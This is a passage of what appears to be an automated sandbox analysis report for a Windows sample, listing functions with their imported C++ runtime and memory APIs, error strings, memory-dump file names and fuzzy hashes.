API String ID: 2805839870-0
Opcode ID: 632636e2f44d629367e43d492296603fbc783428cd8692823bcfbb2d35c59a1b
Instruction ID: b51b050454dc57044f4148ed2d1d48f2de133a72aa587d861ef065f5a5caf31c
Opcode Fuzzy Hash: 632636e2f44d629367e43d492296603fbc783428cd8692823bcfbb2d35c59a1b
Instruction Fuzzy Hash: 09F01215B0670189CE04FEB3A9292AC23A46745788B94083F9E0E377D1ED3CD109C249

Function 00403130 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 148memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 004031DB
VirtualProtect.KERNEL32 ref: 00403282
GetLastError.KERNEL32 ref: 00403290

Strings

Address %p has no image-section, xrefs: 004032ED
VirtualProtect failed with code 0x%x, xrefs: 00403296
VirtualQuery failed for %d bytes at address %p, xrefs: 004032D7

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuery
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 637304234-2123141913
Opcode ID: 0b30e55867ea26fbf375bef1ec1519824d420c28a09077b7f9e3e4bada110e9a
Instruction ID: dc433f953861c78446b9c99f767a2ca277e0b9eb1d595fae2d03286495c0107b
Opcode Fuzzy Hash: 0b30e55867ea26fbf375bef1ec1519824d420c28a09077b7f9e3e4bada110e9a
Instruction Fuzzy Hash: 5451F3B3701A5096DB148F26FD0075A7BA8F799BA5F44862ADF0D67394DA3CCA41C308

Function 004018D6 Relevance: 10.5, APIs: 7, Instructions: 31COMMON

Download Yara Rule

APIs

_ZNSaIcED1Ev.LIBSTDC++-6 ref: 004018E0
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 004018EB
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004018FA
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040190B
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 0040191C
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040192D
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401938

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$ResumeUnwind_
String ID:
API String ID: 2805839870-0
Opcode ID: d0b00482431eeb41436b8932364908bafa2f7e73e249d0fc8762b571d75381d3
Instruction ID: 120429a8d0933c7e969a88ce5684e6bd7d0e43ba2a58f92db3b88230b20b2dbe
Opcode Fuzzy Hash: d0b00482431eeb41436b8932364908bafa2f7e73e249d0fc8762b571d75381d3
Instruction Fuzzy Hash: F4F01255B0670649DE04FFB3A8792AC23A46786B88B84053F9E0E377E5ED3CD149C349

Function 004016DA Relevance: 10.5, APIs: 7, Instructions: 31COMMON

Download Yara Rule

APIs

_ZNSaIcED1Ev.LIBSTDC++-6 ref: 004016E4
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 004016EF
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004016FE
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040170F
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401720
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401731
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 0040173C

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$ResumeUnwind_
String ID:
API String ID: 2805839870-0
Opcode ID: d0b00482431eeb41436b8932364908bafa2f7e73e249d0fc8762b571d75381d3
Instruction ID: 64aa4779479c3e8b470de1a99a56c63cd908f492a9e5cbabc0b855ec904b8b95
Opcode Fuzzy Hash: d0b00482431eeb41436b8932364908bafa2f7e73e249d0fc8762b571d75381d3
Instruction Fuzzy Hash: 1DF01215B0670589CE04FFB3A9292AC23A46786B8CB84093F9E0E377D2ED3CD149C349

Function 004020DC Relevance: 9.0, APIs: 6, Instructions: 39COMMON

Download Yara Rule

APIs

_ZNSaIcED1Ev.LIBSTDC++-6 ref: 004020E9
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 004020F4
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00402106
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402190
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402266
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00402271

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeSt11char_traitsSt7__cxx1112basic_stringUnwind_
String ID:
API String ID: 2629629363-0
Opcode ID: 8380851cb86803ce40ed7820e11510265bf445c6109ac7680506fce89b3a0d7d
Instruction ID: 07f038b5cbf60a0c5dfa2cd7a15d7843de45900307134e7a28180412ea2dd6a1
Opcode Fuzzy Hash: 8380851cb86803ce40ed7820e11510265bf445c6109ac7680506fce89b3a0d7d
Instruction Fuzzy Hash: E8F0492270278646CD26AE63AA5D3E953505B85BD8E88003B5F0E2FBC5EDBCD6468248

Function 0040219F Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004021AC
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004021C0
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 004021D4
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402252
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402266
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00402271

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$ResumeUnwind_
String ID:
API String ID: 2805839870-0
Opcode ID: b3817a3117269628e25c64a73cb0baf8c1dc34dca9adbb31d07cb7a57243eba8
Instruction ID: 7c34d11e71111d1f3bc3f8141dee9c3cc529170df77d698b340dd072c535b244
Opcode Fuzzy Hash: b3817a3117269628e25c64a73cb0baf8c1dc34dca9adbb31d07cb7a57243eba8
Instruction Fuzzy Hash: 93F0682270228249DE21FE62E96D3DD1364A7487D8F98043BDF0D2B7C5ED7CC249C205

Function 00402A13 Relevance: 9.0, APIs: 6, Instructions: 28COMMON

Download Yara Rule

APIs

_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00402A1D
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00402A28
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00402A37
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402A7B
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00402A86
_ZNSt8ios_base4InitD1Ev.LIBSTDC++-6 ref: 00402A9B

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeUnwind_$InitSt11char_traitsSt7__cxx1112basic_stringSt8ios_base4
String ID:
API String ID: 2028254997-0
Opcode ID: 53ddb90fd1071628ee790b6fa07605456cf87a06e27eec992f1e83d2e39e8a2a
Instruction ID: a200e106d701ace98488aac70f39f3ee4c08617be9365b9cca04e74c39428866
Opcode Fuzzy Hash: 53ddb90fd1071628ee790b6fa07605456cf87a06e27eec992f1e83d2e39e8a2a
Instruction Fuzzy Hash: EFE0650070260558CD14FFB3995A2A923645749B88B84003BAF0D2B3D2ED3CD145C348

Function 004026F7 Relevance: 9.0, APIs: 6, Instructions: 25COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev.LIBSTDC++-6 ref: 00402704
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 0040270F
_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev.LIBSTDC++-6 ref: 00402721
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 0040272C
_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev.LIBSTDC++-6 ref: 0040273B
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00402746

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeSt11char_traitsSt7__cxx1112basic_stringUnwind_
String ID:
API String ID: 2629629363-0
Opcode ID: f4c49467ac17bbd338df5a7a604bc4d2858a02bf42cfc54f5eaedcc7051769a8
Instruction ID: a4c52eb7b89d3829d7bea406e9cb1fced0cf78a31c9f813384650177b09a55c5
Opcode Fuzzy Hash: f4c49467ac17bbd338df5a7a604bc4d2858a02bf42cfc54f5eaedcc7051769a8
Instruction Fuzzy Hash: EAE07555B0235A58CD15FFA3B5693E923A46B8AB88F88013E5F1D6F382FC3CE5858344

Function 00402A4F Relevance: 7.5, APIs: 5, Instructions: 25COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev.LIBSTDC++-6 ref: 00402A59
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402A6A
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402A7B
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00402A86
_ZNSt8ios_base4InitD1Ev.LIBSTDC++-6 ref: 00402A9B

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$InitResumeSt8ios_base4Unwind_
String ID:
API String ID: 160411939-0
Opcode ID: d2ebd2c1285bfd6f1eb81e4bb3f59e5f34374ac632de1e35b990c3a3a4bb1820
Instruction ID: 122370bddb7469615605216575de6fa625e617dad7d14f242dd1644feaac7172
Opcode Fuzzy Hash: d2ebd2c1285bfd6f1eb81e4bb3f59e5f34374ac632de1e35b990c3a3a4bb1820
Instruction Fuzzy Hash: 36E01211B1270598DE14FFB3999E2A823746749B88F94003BDE0D273D1EE7CD546C648

Function 00402A3E Relevance: 7.5, APIs: 5, Instructions: 25COMMON

Download Yara Rule

APIs

_ZNSaIwED1Ev.LIBSTDC++-6 ref: 00402A48
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402A6A
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402A7B
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00402A86
_ZNSt8ios_base4InitD1Ev.LIBSTDC++-6 ref: 00402A9B

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$InitResumeSt8ios_base4Unwind_
String ID:
API String ID: 160411939-0
Opcode ID: d15e88b11732d8ef014dc8ded523b2ff04532d1bc5d5189366aaacbe914dc0b4
Instruction ID: 86507dc36b61fdfce1b1d73b1df5fd2a450f5b842479b5dd162b4b368d48e44b
Opcode Fuzzy Hash: d15e88b11732d8ef014dc8ded523b2ff04532d1bc5d5189366aaacbe914dc0b4
Instruction Fuzzy Hash: 44E01211B1260198DE14FFB3999E2A823746749B88F94003BEF0D273D1EE7CD546C648

Function 00401A5C Relevance: 7.5, APIs: 5, Instructions: 23COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401A66
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401A77
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401A82
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401A91
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401A9C

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeSt11char_traitsSt7__cxx1112basic_stringUnwind_
String ID:
API String ID: 2629629363-0
Opcode ID: 4b80f4ad3453997fdb7bf26d633262c0e90052276d5699a4857638d7478d4493
Instruction ID: ca40d33907d0da1c5a8f4ab911e52511a919cb53fb59f1e2b86f45123ad1b475
Opcode Fuzzy Hash: 4b80f4ad3453997fdb7bf26d633262c0e90052276d5699a4857638d7478d4493
Instruction Fuzzy Hash: A1E0BF15B0270549CD05FBB3A9290AD23A42786BD8394053F9F0D3B391ED3CD545C284

Function 00401BBD Relevance: 7.5, APIs: 5, Instructions: 23COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401BC7
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401BD8
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401BE3
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401BF2
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401BFD

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeSt11char_traitsSt7__cxx1112basic_stringUnwind_
String ID:
API String ID: 2629629363-0
Opcode ID: 4b80f4ad3453997fdb7bf26d633262c0e90052276d5699a4857638d7478d4493
Instruction ID: 99819c281654fd016ff906648f9f502b0cf2f5573fba567ad5b3623acb9d0412
Opcode Fuzzy Hash: 4b80f4ad3453997fdb7bf26d633262c0e90052276d5699a4857638d7478d4493
Instruction Fuzzy Hash: FDE0BF15B0270549CD05FBB3A82A0AD23A46786B98394053F9F0D3B391FD3CD5458244

Function 00402A60 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402A6A
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00402A7B
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00402A86
_ZNSt8ios_base4InitD1Ev.LIBSTDC++-6 ref: 00402A9B

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$InitResumeSt8ios_base4Unwind_
String ID:
API String ID: 160411939-0
Opcode ID: 8d8a0a4a1c0b90566bc7b5c1e31c4cd1f33bc0598981bdcc4b067e3e74b843ed
Instruction ID: 666fb5c46fa69b48360e78b465c035b6281497de2f8126e20a529ec428ac6a73
Opcode Fuzzy Hash: 8d8a0a4a1c0b90566bc7b5c1e31c4cd1f33bc0598981bdcc4b067e3e74b843ed
Instruction Fuzzy Hash: 30D01211B1260599DE18FFB39D9A2A823786749B88F94003BDF0D273D2ED7CD546C658

Function 00401901 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040190B
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 0040191C
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040192D
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401938

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$ResumeUnwind_
String ID:
API String ID: 2805839870-0
Opcode ID: ae95783ab481e0a3d89ed09cc49234d4531d1e15db6cde96142f854ef117fbaf
Instruction ID: 49f1c721c6350e0526236a9751efb2dce474d8731d3e659e9176e8db02af895d
Opcode Fuzzy Hash: ae95783ab481e0a3d89ed09cc49234d4531d1e15db6cde96142f854ef117fbaf
Instruction Fuzzy Hash: 98D0C222B0370649CE00FF73A4293A823646786788F80053BAE0E273D5ED3CD188C209

Function 00401705 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 0040170F
_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401720
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401731
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 0040173C

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: St11char_traitsSt7__cxx1112basic_string$ResumeUnwind_
String ID:
API String ID: 2805839870-0
Opcode ID: ae95783ab481e0a3d89ed09cc49234d4531d1e15db6cde96142f854ef117fbaf
Instruction ID: 5ee5c220ed158b6bf41a6c6b1563a9a805c051f8eeed6211f083fc890d559e07
Opcode Fuzzy Hash: ae95783ab481e0a3d89ed09cc49234d4531d1e15db6cde96142f854ef117fbaf
Instruction Fuzzy Hash: 06D01222B0770549CE04FF73A5293A82364678679CF94053BAE0E277D2ED3CD149C249

Function 00401A6D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_ZNSaIcED1Ev.LIBSTDC++-6 ref: 00401A77
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401A82
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev.LIBSTDC++-6 ref: 00401A91
_Unwind_Resume.LIBGCC_S_SEH-1 ref: 00401A9C

Memory Dump Source

Source File: 00000000.00000002.3017274213.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3017262096.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017291811.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017305014.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017317584.000000000040B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3017330395.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ResumeUnwind_$St11char_traitsSt7__cxx1112basic_string
String ID:
API String ID: 220160136-0
Opcode ID: e9b3149559c2d40a57a83e43926ce58d97e6f1de0d4bfa116cf2f14b24266693
Instruction ID: c8e16673b97232db4654cbea5076d41e7e38cb924e39feb352d3beed00876386
